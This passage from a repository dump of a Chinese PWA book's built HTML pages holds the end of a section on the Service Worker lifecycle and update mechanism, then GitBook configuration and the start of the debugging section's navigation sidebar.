Worker&#x3002;</li>\n<li>&#x6D4F;&#x89C8;&#x9875;&#x9762;&#xFF0C;&#x6BCF;&#x6B21;&#x6D4F;&#x89C8;&#x65F6;&#xFF08;&#x5305;&#x62EC;&#x5237;&#x65B0;&#xFF09;&#x90FD;&#x5C06;&#x8FDB;&#x884C;&#x66F4;&#x65B0;&#xFF0C;&#x65E0;&#x9700;&#x91CD;&#x65B0;&#x52A0;&#x8F7D;&#x4E24;&#x6B21;&#x6216;&#x5173;&#x95ED;&#x6807;&#x7B7E;&#x3002;</li>\n</ol>\n<p>&#x6240;&#x4EE5;&#x5728;&#x6D4B;&#x8BD5; serviceWorkerLifecycleDemo &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E0D;&#x59A8;&#x8BD5;&#x4E00;&#x4E0B; update on reload &#x529F;&#x80FD;&#x5427;&#x3002;</p>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x672C;&#x8282;&#x4ECB;&#x7ECD;&#x4E86; Service Worker &#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x4EE5;&#x53CA;&#x66F4;&#x65B0;&#x673A;&#x5236;&#xFF0C;&#x4E86;&#x89E3;&#x4E86; Service Worker &#x5177;&#x4F53;&#x7684;&#x8FD0;&#x4F5C;&#x65B9;&#x5F0F;&#x3002;&#x867D;&#x7136;&#x76EE;&#x524D;&#x5BF9; Service Worker &#x6280;&#x672F;&#x70B9;&#x6709;&#x4E86;&#x5168;&#x9762;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x4F46;&#x662F;&#x8FD8;&#x662F;&#x6CA1;&#x6709;&#x6D89;&#x53CA;&#x5230;&#x4EFB;&#x4F55;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#x76F8;&#x5173;&#x7684;&#x4E1C;&#x897F;&#xFF0C;&#x4E3A;&#x4E86;&#x66F4;&#x52A0;&#x7CFB;&#x7EDF;&#x6DF1;&#x5165;&#x4E86;&#x89E3; PWA &#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x673A;&#x5236;&#xFF0C;&#x5728;&#x4E0B;&#x4E00;&#x7AE0;&#x4E2D;&#x4F1A;&#x5BF9; Service Worker &#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x8FDB;&#x884C;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-service-worker-register.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 4.2 Service Worker 注册\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-service-worker-debug.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 4.4 Service Worker 调试\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"4.3 Service Worker 工作原理\",\"level\":\"1.5.3\",\"depth\":2,\"next\":{\"title\":\"4.4 Service Worker 调试\",\"level\":\"1.5.4\",\"depth\":2,\"path\":\"chapter04/4-service-worker-debug.md\",\"ref\":\"chapter04/4-service-worker-debug.md\",\"articles\":[]},\"previous\":{\"title\":\"4.2 Service Worker 注册\",\"level\":\"1.5.2\",\"depth\":2,\"path\":\"chapter04/2-service-worker-register.md\",\"ref\":\"chapter04/2-service-worker-register.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter04/3-service-worker-dive.md\",\"mtime\":\"2019-06-19T10:37:42.145Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter04/4-service-worker-debug.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>4.4 Service Worker 调试 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter05.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-service-worker-dive.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"1-service-worker-introduction.html\">\n            \n                <a href=\"1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"2-service-worker-register.html\">\n            \n                <a href=\"2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"3-service-worker-dive.html\">\n            \n                <a href=\"3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.5.4\" data-path=\"4-service-worker-debug.html\">\n            \n                <a href=\"4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" 